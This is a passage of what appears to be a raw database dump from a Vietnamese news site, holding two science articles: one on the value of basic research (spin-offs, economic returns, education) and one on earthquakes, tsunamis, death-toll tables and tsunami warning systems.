ảnh hưởng từ bất kì điều gì đến cuộc cách mạng khoa học thế kỉ 17 (cơ học Newton, tích phân, v.v ). Điều này đúng nhưng nó không đúng với nhiều bước phát triển của công nghiệp sau này, mà tôi hi vọng là những ví dụ tôi đưa ra sau đây sẽ chứng minh được.</div> <div> Vậy nên, mối liên hệ giữa khoa học và công nghệ không phải là tuyến tính mà cũng không phải là phản tuyến tính, mà thực tế là rất phi tuyến tính, và người ta đã từng khẳng định rằng2: “nghiên cứu lịch sử những mô hình thành công đã nhiều lần chỉ ra mật độ các tác động tương hỗ giữa các ngành khoa học cơ bản (vốn ban đầu không liên quan tới nhau), công nghệ, và sản phẩm, tấp nập tới mức không thể tách rời và phân biệt, chúng là tất cả các thành phần đan quện chặt chẽ trong cùng một thực thể”. Tuy vậy có thể khẳng định một sự phân biệt trên diện rộng giữa khoa học (tri thức) và công nghệ (cái được ứng dụng từ tri thức) và giữa các hình thức khác nhau của khoa học.</div> <div> Tôi không thích thuật ngữ khoa học cơ bản và khoa học ứng dụng: xét cho cùng ai có thể nói trước cái gì là sẽ ứng dụng được? Tuy nhiên, những thuật ngữ này có thể hữu dụng nếu chúng được định nghĩa dựa trên động cơ thúc đẩy:</div> <div> Khoa học cơ bản – được thúc đẩy bằng sự ham hiểu biết. </div> <div> Khoa học ứng dụng – dành để trả lời cho những câu hỏi cụ thể.</div> <div> Từ định nghĩa này, về sau tôi sẽ biện luận rằng Chính phủ có một trách nhiệm đặc biệt để hỗ trợ cho nghiên cứu cơ bản, trong khi việc đầu tư nghiên cứu ứng dụng nhìn chung có thể nhường lại cho các doanh nghiệp. </div> <div> Tất nhiên, sự phân biệt đó luôn luôn không rõ ràng và thuật ngữ “nghiên cứu chiến lược” thỉnh thoảng được sử dụng để nói về khoa học như một phạm trù trung gian – cái tạo ra cơ hội cao trong việc tạo ra ứng dụng, cho dù có thể nó được thực hiện thuần túy chỉ để thỏa mãn sự tò mò và qua đó dẫn đến những hiểu biết nền tảng mới. Việc nghiên cứu những đặc tính của chất bán dẫn hai chiều là một ví dụ. </div> <div> </div> <div> <strong>2. Lợi ích của khoa học cơ bản</strong></div> <div> <br /> Có thể phân biệt ra bốn nhóm lợi ích, được đề cập lần lượt như sau:</div> <div> Những đóng góp cho văn hóa.</div> <div> Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn. </div> <div> Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp. </div> <div> Giáo dục.</div> <div> <br /> <strong>2.1. Những đóng góp cho văn hóa.</strong></div> <div> <br /> Bob Wilson (giám đốc đầu tiên của Fermilab, một phòng thí nghiệm lớn gần Chicago dành cho vật lý hạt/máy gia tốc) khi được một Ủy ban Quốc hội hỏi rằng “Phòng thí nghiệm của anh sẽ đóng góp gì để bảo vệ nước Mỹ?”. Câu trả lời là: “Không gì cả, nhưng nó sẽ làm cho nước Mỹ đáng được bảo vệ”. Tuy nhiên, nhìn chung các nhà khoa học thường e ngại trong những cuộc tranh luận về sự đóng góp của họ đối với văn hóa, xã hội. Hiện tượng này thực ra có từ rất cổ xưa như trong đoạn đối thoại dưới đây trong cuốn Cộng hòa của Plato:</div> <div> Socrates: Chúng ta có nên coi thiên văn học là một chủ đề đáng nghiên cứu? </div> <div> Glaucon: Tôi cho là nên, hiểu biết về mùa màng, về tháng và năm, sẽ hữu ích cho mục đích quân sự, cũng như trong nông nghiệp và hàng hải.</div> <div> Socrates: Tôi thấy thú vị khi thấy ông e ngại như thế nào, vì sợ rằng mọi người sẽ kết tội ông đã đề nghị nghiên cứu những thứ không có ích lợi gì.</div> <div> Tôi cho rằng các nhà khoa học phải đưa ra các luận điểm có sức thuyết phục về sự đóng góp của khoa học trong thúc đẩy văn hóa. Cụ thể như những kiến thức về hệ Mặt trời, mã di truyền, Mặt trời làm việc như thế nào, tại sao bầu trời lại có màu xanh và sự mở rộng của Vũ trụ làm cách nhìn của chúng ta thay đổi, cuộc sống của chúng ta phong phú lên. Chúng ta cần làm cho mọi người thấy việc phổ cập hóa vật lý hạt cơ bản là có ích không chỉ về kinh tế mà còn về văn hóa, từ đó thuyết phục mọi người rằng nên tiếp tục khám phá biên giới này của tri thức. </div> <div> <br /> <strong>2.2 Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn.</strong></div> <div> <br /> Không quá khó để chỉ ra rằng chi phí cho khoa học cơ bản thường dẫn đến những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn, có khả năng sinh lợi cao và có thể dễ dàng bồi hoàn chi phí đầu tư. Casimir - nhà vật lý lý thuyết nổi tiếng, cựu Giám đốc Nghiên cứu của Philips đã đưa ra một danh sách các ví dụ tuyệt vời3:</div> <div> “Tôi đã được nghe nói rằng vai trò của nghiên cứu hàn lâm trong các cải tiến kỹ thuật là rất ít. Đây là luận điểm ngớ ngẩn nhất trong những điều vô nghĩa nhất mà tôi được biết. Chắc chắn một ai đó suy đoán vẩn vơ rằng liệu tranzito có phải do những người không được đào tạo và không đóng góp gì cho cơ học sóng hay thuyết lượng tử chất rắn tìm thấy. Sự thật là những người phát hiện ra tranzito đều nghiên cứu sâu và có nhiều đóng góp tới thuyết lượng tử chất rắn.</div> <div> Một ai đó có thể hỏi liệu rằng các mạch cơ bản trong máy tính có phải được tìm thấy bởi những người chủ tâm muốn xây dựng máy tính. Đúng là như vậy, chúng đã được phát kiến vào những năm 30 bởi những nhà vật lý muốn đếm các hạt cơ bản bởi vì họ quan tâm đến vật lý hạt nhân.</div> <div> Một ai đó có thể hỏi rằng liệu năng lượng hạt nhân được khám phá bởi vì có những người muốn một nguồn năng lượng mới, hay sự thôi thúc có năng lượng mới đã dẫn đến việc tìm ra hạt nhân. Có thể - nhưng nó đã không xảy ra như vậy.</div> <div> Một ai đó hỏi rằng liệu ngành công nghiệp điện tử có thể tồn tại mà không có những khám phá về electron của những người như Thomson và H.A. Lorentz. Một lần nữa, nó đã không xảy ra như vậy. </div> <div> Tôi nghĩ thật hầu như không có một ví dụ nào của những cải tiến trong thế kỷ 20 mà không mắc nợ khoa học cơ bản.”</div> <div> Những ví dụ của Casimir có một số đặc điểm chung :</div> <div> Những ứng dụng của kiến thức mới có lợi nhuận cao.</div> <div> Những ứng dụng hoàn toàn không được nhìn thấy khi các phát hiện nền tảng được khám phá.</div> <div> Có một khoảng thời gian dài giữa những khám phá nền tảng và những ứng dụng.</div> <div> Nhìn chung các nhà phát minh trong khoa học cơ bản không trở nên giàu có.</div> <div> Đã có một số cố gắng nhằm lượng hóa lợi ích to lớn từ các nghiên cứu nền tảng. Tôi sẽ đề cập 2 ví dụ:</div> <div> 1. Một nghiên cứu gần đây của Tổ chức Khoa học Quốc gia Hoa Kỳ cho thấy rằng 73% các bài báo trích dẫn trong các bằng sáng chế công nghiệp là các nghiên cứu được công bố một cách công cộng, mà phần đông là những bài báo nghiên cứu cơ bản được thực hiện bởi những trường đại học hàng đầu và các phòng thí nghiệm của Chính phủ. 2. Một nghiên cứu có nhiều trích dẫn bởi Mansfield5 vào năm 1991 đã chỉ ra rằng đầu tư của cộng đồng vào khoa học cơ bản có tỉ lệ lợi nhuận là 28%. Con số của Mansfield được lấy ra từ 75 hãng lớn nhất ở Mỹ trong 7 ngành công nghiệp (xử lý thông tin, thiết bị điện, hóa học, dụng cụ, dược phẩm, kim loại và dầu mỏ). Từ ban điều hành nghiên cứu và phát triển của các công ty, Mansfield đã thu thập được thông tin về những sản phẩm mới, sản phẩm được thương mại hóa trong giai đoạn 1975- 1985, mà theo các ban điều hành cho biết thì các sản phẩm này đã không thể ra đời (hoặc chậm hơn rất nhiều) nếu không có các nghiên cứu hàn lâm được thực hiện trong khoảng 15 năm trước khi sáng kiến đầu tiên được công bố. </div> <div> <br /> <strong>2.3. Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp</strong></div> <div> <br /> Với khái niệm những phát hiện ngoài dự kiến, tôi muốn nói về các thiết bị và kĩ thuật được phát triển để tiến hành các nghiên cưu cơ bản nhưng sau này người ta nhận ra cả những lợi ích khác nữa. Tôi đưa ra vài ví dụ từ vật lý hạt cơ bản (nhiều trong chúng có sự đóng góp từ vật lý hạt nhân):</div> <div> Máy gia tốc ( ngày nay có khoảng 10000 máy gia tốc trên thế giới, chỉ có 100 cái trong số đó sử dụng cho mục đích nghiên cứu ban đầu trong vật lý hạt nhân và vật lý hạt cơ bản).</div> <div> - Ngành công nghiệp bán dẫn. </div> <div> - Thức ăn tiệt trùng, y tế, rác thải.</div> <div> - Xử lý bức xạ. </div> <div> - Liệu pháp điều trị ung thư. </div> <div> - Tiêu hủy rác thải hạt nhân. </div> <div> - Thí nghiệm không phá mẫu. </div> <div> - Sản xuất năng lượng (máy khuếch đại năng lượng)</div> <div> - Nguồn cho bức xạ synchrotron (sinh học, vật lý chất ngưng tụ…)</div> <div> - Nguồn cho của Notron ( sinh học, vật lý chất ngưng tụ…)</div> <div> Máy dò hạt.</div> <div> - Máy dò tinh thể</div> <div> (Tinh thể phát triển cho những thí nghiệm ở máy va đập LEP tại CERN mà bây giờ được dùng cho ảnh y tế ở hàng trăm bệnh viện, những tinh thể sẽ thay thế chúng với những đặc tính ưu việt hơn hiện thời vẫn đang được phát triển cho máy LHC tại CERN)</div> <div> - Ảnh y tế</div> <div> - An ninh</div> <div> - Thí nghiệm không phá mẫu</div> <div> - Phục vụ nghiên cứu</div> <div> - Ổ tỉ lệ đa đường dây</div> <div> - Kiểm tra container</div> <div> - Phục vụ nghiên cứu</div> <div> - Máy dò chất bán dẫn</div> <div> - Rất nhiều ứng dụng trong giai đoạn phát triển.</div> <div> Khoa học thông tin</div> <div> +WWW( Một nhóm ở Anh mới đây đã nhận định rằng Web tạo ra 5% doanh thu của các công ty lớn và sẽ tăng lên đến 20% vào cuối thập niên)</div> <div> + Chương trình mô phỏng</div> <div> + Phát hiện lỗi</div> <div> + Hệ điều hành</div> <div> + Kích thích tính toán song song.</div> <div> - Chất siêu dẫn</div> <div> Ảnh cộng hưởng từ hạt nhân</div> <div> Những ứng dụng khác ( kỹ thuật làm lạnh, chân không, kĩ thuật điện, trắc địa…)</div> <div> Có lúc dường như mọi người nghĩ rằng có một danh sách dài các phát kiến từ vật lý hạt cơ bản đủ để chứng minh chi phí cho vật lý cơ bản. Song chứng minh được không phải điều dễ dàng. Tuy nhiên, chắc chắn có thể khẳng định rằng giá trị của những ứng dụng ngoài dự kiến phải được tính tới khi cân nhắc các khoản chi phí cho khoa học cơ bản, và có lẽ đúng là những nhu cầu đặc biệt của ngành vật lý hạt cơ bản, đòi hỏi thiết bị vô cùng tối tân, đã khiến nó sản xuất ra nhiều ứng dụng ngoài dự kiến. Trong thực tế, nhìn chung các nhà kinh tế học ngày càng nhận ra tầm quan trọng của các ứng dụng ngoài dự kiến, đặc biệt là dưới dạng các công cụ được chế ra nhằm phục vụ các nghiên cứu nền tảng. Đa số các thiết bị trong một nhà máy điện tử hiện đại vốn được sinh ra từ những phòng thí nghiệm trong các trường đại học, và có rất nhiều ví dụ tương tự với các công cụ vốn sinh ra để phục vụ trong nghiên cứu vật lý, hóa học, dược học, y tế.</div> <div> Nhìn chung các nhà khoa học cơ bản đều ưu tiên công việc cho phục vụ công bố và đưa ra công khai kết quả mà họ thực hiện, trong khi các nhà khoa học ứng dụng làm việc trong ngành công nghiệp lại thúc đẩy bởi mong muốn bảo vệ, giấu kín và lấy bằng sáng chế. Như vậy có thể xảy ra nghịch lý là có nhiều ứng dụng ngoài dự kiến từ các nghiên cứu cơ bản hơn là từ nghiên cứu ứng dụng. Thậm chí trừu tượng và bí hiểm như thuyết tương đối rộng (lý thuyết của Einstein về lực hấp dẫn) cũng có tạo ra một ứng dụng ngoài dự kiến. Đó là phép lạ phục vụ việc định vị được biết đến với tên gọi là hệ thống định vị toàn cầu (GPS), nó có thể ngay lập tức tự động chỉ cho chúng ta biết vị trí và độ cao chính xác trong phạm vi 10 mét ở tất cả mọi nơi trên Trái đất. Hơn 160 nhà sản xuất khắp thế giới đang phát triển các hệ thống dựa trên công nghệ GPS trong một thị trường nhiều tỉ USD. Các hệ thống này làm việc bằng cách so sánh tín hiệu thời gian nhận được từ các vệ tinh khác nhau. Đồng hồ trong các vệ tinh là những chiếc đồng hồ nguyên tử, vốn xưa kia được tạo ra chỉ để phục vụ nghiên cứu về thuyết tương đối rộng, cụ thể là để kiểm chứng dự đoán của Einstein rằng các đồng hồ sẽ chạy khác nhau trong các trường trọng lực khác nhau. </div> <div> <br /> <strong>2.4. Giáo dục</strong></div> <div> <br /> Làm việc nghiên cứu khoa học cơ bản là một quá trình đào tạo tuyệt vời cho những người muốn sau này làm nghiên cứu ứng dụng hoặc phát triển trong công nghiệp. Hơn nữa, điều này còn tạo ra một mạng lưới liên kết giữa các nhà nghiên cứu trong các ngành công nghiệp khác nhau và trong giới hàn lâm, vốn sẽ không thể tồn tại nếu tất cả sự đào tạo diễn ra bên trong các ngành công nghiệp. Giá trị của mạng lưới ấy ngày càng được các nhà kinh tế học thừa nhận như một lợi ích xã hội đầu tư cho nghiên cứu cơ bản. </div> <div> Cụ thể như với công việc làm thí nghiệm vật lý hạt cơ bản, người ta đánh giá rằng có khoảng 300 bằng tiến sĩ được trao trên toàn thế giới mỗi năm dựa vào công việc làm ở CERN (tính tổng trong toàn bộ lĩnh vực thì có lẽ gấp 2 lần con số này), và ít nhất có một nửa số tiến sĩ đó cuối cùng sẽ làm việc trong công nghiệp hay thương mại, nơi kinh nghiệm của họ đã làm trong các dự án công nghệ cao của các nhóm đa quốc gia tại CERN sẽ trở nên vô cùng cần thiết.</div> <div> Thêm vào đó, có căn cứ cho thấy khoa học cơ bản (ví dụ như trong vật lý, cụ thể là thiên văn học và vật lý hạt cơ bản, với những từ rất quen tai như lỗ đen và hạt quark) đóng một vai trò quan trọng trong việc thu hút sự hứng thú và quan tâm của thế hệ trẻ đến khoa học và công nghệ. Điều này cực kỳ quan trọng mặc dù tác dụng sẽ rất khó được lượng hóa. </div> <div> --------------------------</div> <div> 1. The Economic Laws of Scientific Research, T. Kealey, Macmillan Press, London, 1996. </div> <div> 2. G. Holton, H. Chang và E. Jarkowitz, American Scientists 84, 364, 1996. </div> <div> 3. Trích dẫn trang 198 cuốn “The Life of Sir J.J. Thomson”, Lord Rayleigh, Cambridge University Press, 1942. </div> <div> H.G.B. Casimir, Contribution to Symposium on Technology and World Trade, US Department of Commerce, 16 November 1966.</div> <div> 4. Academic Research and Industrial Innovation, E. Mansfield, Research Policy 20, 1, 1991. </div> <div> </div> <div> THANH LOAN (lược thuật)</div> ', 'images' => '2016062008370187760659a610879e83b0cb7684dc821e.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-20', 'modified' => '2025-08-18', 'status' => '1', 'view' => '66693', 'slug' => 'vai-tro-cua-khoa-hoc-co-ban-1', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '719', 'rght' => '720', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '414', 'name' => 'Động đất và sóng thần: nguồn năng lượng hủy diệt', 'code' => null, 'alias' => 'dong-dat-va-song-than-nguon-nang-luong-huy-diet', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Trận động đất cường độ 9 độ Richter xảy ra ngoài khơi vùng biển Đông Bắc Nhật Bản ngày 11/3/2011 và đợt sóng thần tiếp theo đó đã gây ra những thiệt hại nghiêm trọng cho đất nước Nhật Bản. Để có một khái niệm về cường độ năng lượng giải phóng, ta có thể nói là quả bom hạt nhân ném xuống Hiroshima năm 1945 chỉ tương đương với một trận động đất 5,7 độ Richter.</div> <div> <br /> <strong>Động đất</strong></div> <div> <br /> Trận động đất vừa qua ở Nhật Bản gây nhiều thiệt hại do các xung động của chính nó hay của các dư chấn mà cường độ có thể lên đến 6 độ Richter. Những thiệt hại về tài sản trên các công trình xây dựng đều rất lớn, đó là chưa kể đến thảm hoạ hạt nhân, mặc dù được hạn chế đến mức tối đa, xảy ra khi lò phản ứng Fukushima 1 bị nóng chảy tâm lò sau sự cố LOCA (mất nước làm lạnh) và gian lò bị nổ. Năm 2007, một trận động đất gây ảnh hưởng đến nhà máy điện hạt nhân Kashiwazaki-Kariwa lớn nhất ở Nhật Bản, nhưng may là người ta đã ngừng lò kịp.</div> <div> </div> <div> Trong lịch sử thế giới, các trận động đất lớn đã gây tử vong cho khoảng 6,5 triệu người, chủ yếu là ở Trung Quốc (3 triệu) và Trung Đông (1,5 triệu). Bảng 1 liệt kê 10 trận động đất lớn nhất trong thế kỷ 20 và số tử vong chúng gây ra. Trong trường hợp trận động đất ở Sumatra-Andaman năm 2004, số tử vong cao là hậu quả của đợt sóng thần lan đến nhiều nước trong vùng Ấn Độ dương. Số tử vong ở Haiti năm 2010 lên rất cao vì đây là một nước nghèo, các điều kiện bảo vệ và chống động đất quá yếu kém. Trận động đất ở Nhật Bản lần này, theo nhiều chuyên gia, có thể được xem là trận lớn thứ 5 trong lịch sử.</div> <div> <br /> Bảng 1 Mười trận động đất lớn nhất trong thế kỷ 20</div> <div> </div> <div> Năm Địa điểm Cường độ Số tử vong</div> <div> </div> <div> 2010 Haiti 7 200.000-300.000</div> <div> 2004 Sumatra-Andaman 9,3 283.100</div> <div> 1976 Đường Sơn (Trung Quốc) 7,5 255.000</div> <div> 1920 Hải Nguyên (Trung Quốc) 7,8 200.000</div> <div> 1923 Kanto (Nhật Bản) 7,9 142.800</div> <div> 1948 Ashgabat (Turkmenistan) 7,3 110.000</div> <div> 2005 Pakistan 7,6 86.000</div> <div> 1908 Messina (Ý) 7,2 72.000</div> <div> 1970 Chimbote (Pêru) 7,9 70.000</div> <div> 1990 Iran 7,4 40.000-50.000</div> <div> </div> <div> Động đất liên quan đến các mảng kiến tạo của Trái Đất và chúng xảy ra ở những nơi các mảng này tiếp xúc với nhau, ở đây có những chuyển động của vỏ Trái Đất. Nếu một mảng kiến tạo chui xuống dưới một mảng khác thì ta có hiện tượng hút chìm-nơi tích tụ nhiều năng lượng của các lực căng chỉ đợi được giải phóng ra bằng các trận động đất. Trên thế giới, người ta biết là có đến 4000 km biên giới của các vùng hút chìm và Nhật Bản nằm trên một vùng hút chìm quan trọng, nơi mảng kiến tạo Thái Bình Dương đang chìm xuống dưới nước Nhật. Tiêu điểm của trận động đất (chấn tiêu) thường nằm sâu dưới mặt đất. Từ đấy các sóng địa chấn được truyền đi và các máy ghi địa chấn có thể xác định vị trí của chấn tiêu cũng như của tâm chấn ngoài, tức là điểm trên mặt đất nằm ngay trên chấn tiêu. Trên hình 1, ta có bản đồ các trận động đất gần đây nhất đã được Cục Khảo sát Địa chất Mỹ (USGS) vẽ ngày 27 tháng 1-2011. Các địa điểm động đất đều nằm trên các đường nứt gãy có liên quan đến các mảng kiến tạo. Ta cũng thấy là USGS có ghi trận động đất xảy ra tháng 11/2007 có cường độ 4,5-5 độ Richter ngoài khơi Vũng Tàu trên đới đứt gãy dọc bờ biển miền Nam Trung Bộ.</div> <div> </div> <div> <br /> <img alt="" src="/admin/webroot/upload/image/images/tho nhan 1inter.jpg" style="width: 480px; height: 246px;" /><br /> </div> <div> Hình 1 Bản đồ các trận động đất trên thế giới (USGS, IRIS)</div> <div> </div> <div> </div> <div> Các trận động đất thường chỉ kéo dài vài giây đồng hồ nhưng cũng đủ để gây ra những thiệt hại vô cùng lớn. Trận động đất năm 2004 ở Sumatra kéo dài đến 9 phút, trong khi trận động đất vừa qua ở Nhật Bản kéo dài 2 phút.</div> <div> </div> <div> <strong>Sóng thần</strong></div> <div> <br /> Nếu động đất xảy ra trong đất liền thì ít có khả năng có sóng thần đi kèm theo trừ khi các biển nội địa hay các hồ nước lớn bị tác động bởi những dịch chuyển của đất đá dưới mặt nước. Nhưng khi động đất xảy ra ngoài biển và có cường độ hơn 6,5 độ Richter thì có thể sinh ra sóng thần có sức tàn phá rất lớn như chúng ta thấy tại Nhật vừa qua hay ở các nước Nam Á năm 2004. Các đợt sóng thần mang theo lượng năng lượng khổng lồ vì chúng do những khối lượng nước rất lớn tạo ra sau khi có một trận động đất bất thình lình dịch chuyển một diện tích đáy biển hàng nghìn cây số vuông chỉ trong vài giây đồng hồ rồi truyền năng lượng thẳng lên bề mặt.</div> <div> </div> <div> Sóng thần có thể gây ra do lở đất dưới biển hoặc do các trường hợp hiếm gặp hơn như phun trào núi lửa hay phun trào dung nham dưới nước. Nó cũng có thể có nguồn gốc từ một vụ va chạm của một hành tinh nhỏ khi rơi xuống đáy đại dương. Ngày 18/11/1927, một trận động đất M7,2 ở 300 km phía nam Newfoundland (Bắc Canada) đã gây ra một vụ lở đất dưới biển làm dịch chuyển 200 km3 đất và vụ lở đất ở Storegga ngoài khơi Na Uy 79.000 năm trước đây làm cho 1000 km3 trầm tích biển sụp đổ. Ngày 26/12/2004, trận động đất M9 ngoài khơi Sumatra (Indonesia) đã nâng một dải đáy biển dài 1200 km lên cao 8 m, chấn tiêu của nó nằm dưới sâu 30 km.</div> <div> </div> <div> Lực duy trì sóng trong cột nước biển sau khi đáy biển bị nhiễu loạn là lực trọng trường. Sức mạnh của nó tuỳ thuộc vào cường độ của nhiễu loạn ban đầu, khoảng cách di chuyển của sóng, hình thái mặt đáy biển, khả năng các lớp đất đá hấp thụ hết năng lượng cũng như hình dáng bờ biển. Tốc độ di chuyển của sóng có thể lên đến vài trăm cây số một giờ và sóng thần có thể vượt qua hàng nghìn cây số đại dương trong vài tiếng đồng hồ. Bước sóng của nó - khoảng cách giữa hai làn sóng nối tiếp nhau - có thể là vài trăm cây số. Ngoài biển khơi, sóng thần rất khó phát hiện và chiều cao của sóng chỉ là vài chục cm gần nơi xảy ra nhiễu loạn. Các vệ tinh như Topex-Poseidon hay ERS-1 đã có thể đo độ cao sóng biển với độ chính xác vài cm. Tuy nhiên, cũng như các loại sóng khác, khi chúng tiến vào các vùng nước cạn gần bờ, nhiều thay đổi sẽ xảy ra, bước sóng rút xuống còn từ 10 đến 20 km, khi nước có tốc độ cao đến đẩy các luồng sóng đi trước, chiều cao của chúng tăng lên, đôi khi đạt đến vài chục mét và tiến sâu vào đất liền, tàn phá những vùng đất thấp dọc bờ biển. Sóng thần ở Sendai, Nhật Bản hôm 11/3 vừa qua cao đến 10 mét. Năm 1755, tiếp theo một trận động đất M9, đợt sóng thần ở Lisbon (Bồ Đào Nha) có độ cao trên 30 mét và năm 1883, sóng thần do hoạt động núi lửa Krakatoa ở Indonesia gây ra có độ cao lên đến 40 mét. Năm 1737, một trận động đất gần bán đảo Kamchatka gây nên một đợt sóng thần cao 50 mét khi chúng tiến đến đảo Kurile.</div> <div> </div> <div> Những vùng nhạy cảm nhất đối với sóng thần nằm dọc bờ biển Thái Bình Dương, ở đây có đến 85% toàn bộ các đợt sóng thần do động đất gây ra vì đại dương rất rộng và có nhiều hoạt động địa chấn và núi lửa của mảng kiến tạo Thái Bình Dương. Theo ước tính, trong thế kỷ 20 vừa qua có chừng 50.000 người tử vong do khoảng 400 đợt sóng thần gây ra. Bước vào thế kỷ 21, đợt sóng thần Sumatra-Andaman cuối năm 2004 đã làm 230.000 người chết chỉ trong vòng vài tiếng đồng hồ và có đến hàng triệu người bị mất nhà cửa. Bảng 2 liệt kê 10 đợt sóng thần gây nhiều thiệt hại nhất trong lịch sử, các số liệu ở các thế kỷ 18-19 chỉ có một độ chính xác tương đối.</div> <div> </div> <div> <strong>Bảng 2 Những đợt sóng thần gây nhiều thiệt hại nhất trong lịch sử</strong></div> <div> </div> <div> Số nạn nhân Năm Địa điểm</div> <div> 230.000 2004 Sumatra-Andaman (Indonesia)</div> <div> 60.000 1755 Lisbon (Bồ Đào Nha)</div> <div> 40.000 1782 Đài Loan</div> <div> 36.500 1883 Krakatoa (Indonesia)</div> <div> 30.000 1701 Tokaido-Nankaido (Nhật Bản)</div> <div> 26.360 1896 Sanriku (Nhật Bản)</div> <div> 25.674 1868 Bắc Chi Lê</div> <div> 15.030 1792 Kyushu (Nhật Bản)</div> <div> 13.481 1771 Ryukyu (Nhật Bản)</div> <div> 8.000 1976 Vịnh Moro (Philippin)</div> <div> </div> <div> <strong>Dự báo sóng thần và các phương pháp tiếp cận giảm thiểu tác hại</strong></div> <div> <br /> Sóng thần được hiểu rõ hơn động đất nhưng đối với các sóng thần do động đất gây ra, việc dự báo dài hạn cũng rất khó. Mặt khác, nguyên tắc dự báo ngắn hạn thì tương đối đơn giản, ít ra cũng trên mặt lý thuyết: thu thập các thông tin về biến dạng của đáy biển trong các đại dương rồi truyền theo thời gian thật đến các chuyên gia ở các trung tâm chuyên trách để tính cường độ của hiểm hoạ và lấy quyết định sơ tán vùng bị đe doạ. Đối với các sóng thần vượt đại dương, người ta có thể có khoảng thời gian nhiều giờ giữa trận động đất và lúc sóng thần ập đến. Vị trí và quy mô của trận động đất có thể được xác định nhanh chóng và chính xác nhờ các quan trắc địa chấn và sự hình thành cũng như sự lan truyền của sóng thần có thể được xác nhận bởi các hệ thống quan sát mực nước biển ngoài khơi như các cảm biến đo áp suất đặt dưới đáy biển. Khoảng 10 phút giữa chấn động đầu tiên và lúc các luồng sóng gây chết người ập đến cũng đủ để người dân chạy thoát khỏi các vùng nguy hiểm, cứu được hàng trăm nghìn nhân mạng và cả tài sản của họ.<br /> </div> <div> <span style="display: none;"> </span><img alt="" src="/admin/webroot/upload/image/images/Tho Nhan 2inter.jpg" style="width: 480px; height: 308px;" /><span style="display: none;"> </span></div> <div> </div> <div> </div> <div> Hình 2 Bản đồ các trạm DART tại khu vực Thái Bình Dương</div> <div> </div> <div> </div> <div> Một loạt trạm cảnh báo đặt chung quanh Thái Bình Dương để đo bất kỳ một hoạt động bất thường nào của thuỷ triều hay sóng biển tiếp theo một sự kiện địa chấn. Hệ thống Cảnh báo Đánh giá Sóng thần ngoài Biển khơi (DART, Deep Ocean Assessment Reporting of Tsunami) đã được đặt ở Thái Bình Dương, dọc vùng hút chìm Alaska, nơi phát sinh nguy hiểm của các đợt sóng thần trên bờ biển phía Tây nước Mỹ và Hawaii cũng như đối với các nước khác ven bờ Thái Bình Dương. Trên hình 2, ta có hệ thống các trạm DART đã có (6 trạm) và gần 40 trạm đã lên kế hoạch xây dựng tiếp theo thảm hoạ sóng thần Sumatra-Andaman năm 2004. Mỗi trạm gồm một địa chấn kế, máy đo áp lực của sóng trên đáy biển, các cột mộc thuỷ triều và các hệ thống truyền tín hiệu đến các nhà khoa học để đánh giá tính nguy hiểm của chúng. Ở Nhật, cảnh báo sóng thần được truyền đi chỉ từ 2 đến 5 phút sau động đất rồi chuyển đến dân cư vùng biển nhờ các phương tiện truyền thông.</div> <div> </div> <div> Người dân Nhật được giáo dục kỹ về các hiểm họa của sóng thần và cách ứng xử khi nhận được cảnh báo nhờ thế mà số thương vong có thể được giảm đi rất nhiều. Các hướng dẫn về những điều phải làm sau cảnh báo sóng thần đầu tiên do cơ quan khí tượng Nhật Bản phổ biến (xem dưới đây) hay các lộ trình thoát khỏi vùng bờ biển bị sóng thần ập vào ở Mỹ là những biện pháp tích cực nhằm giảm thiểu các tác hại do sóng thần gây ra.</div> <div> </div> <div> <strong>Các hướng dẫn những điều phải làm sau cảnh báo sóng thần đầu tiên</strong></div> <div> </div> <div> 1. Rời ngay khỏi bờ biển và trú ẩn ở một nơi an toàn khi cảm thấy một chấn động mạnh hay một chấn động yếu, chậm nhưng kéo dài.</div> <div> 2. Rời ngay khỏi bờ biển và trú ẩn ở một nơi an toàn khi có thông báo sóng thần.</div> <div> 3. Tìm thông tin đúng đắn từ truyền hình, truyền thanh hay internet.</div> <div> 4. Đừng đến bờ biển để tắm hay câu cá khi có khuyến cáo về sóng thần hay khi một cảnh báo về sóng thần đã được phát ra.</div> <div> 5. Đừng mất cảnh giác cho đến khi cảnh báo được bãi bỏ vì sóng thần có thể lặp đi lặp lại.</div> <div> </div> <div> (Cơ quan Khí tượng Nhật Bản)</div> ', 'images' => '20160620083507a5aa65ff774a341ce7bd82defce3cfd6.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-20', 'modified' => '2025-08-18', 'status' => '1', 'view' => '70070', 'slug' => 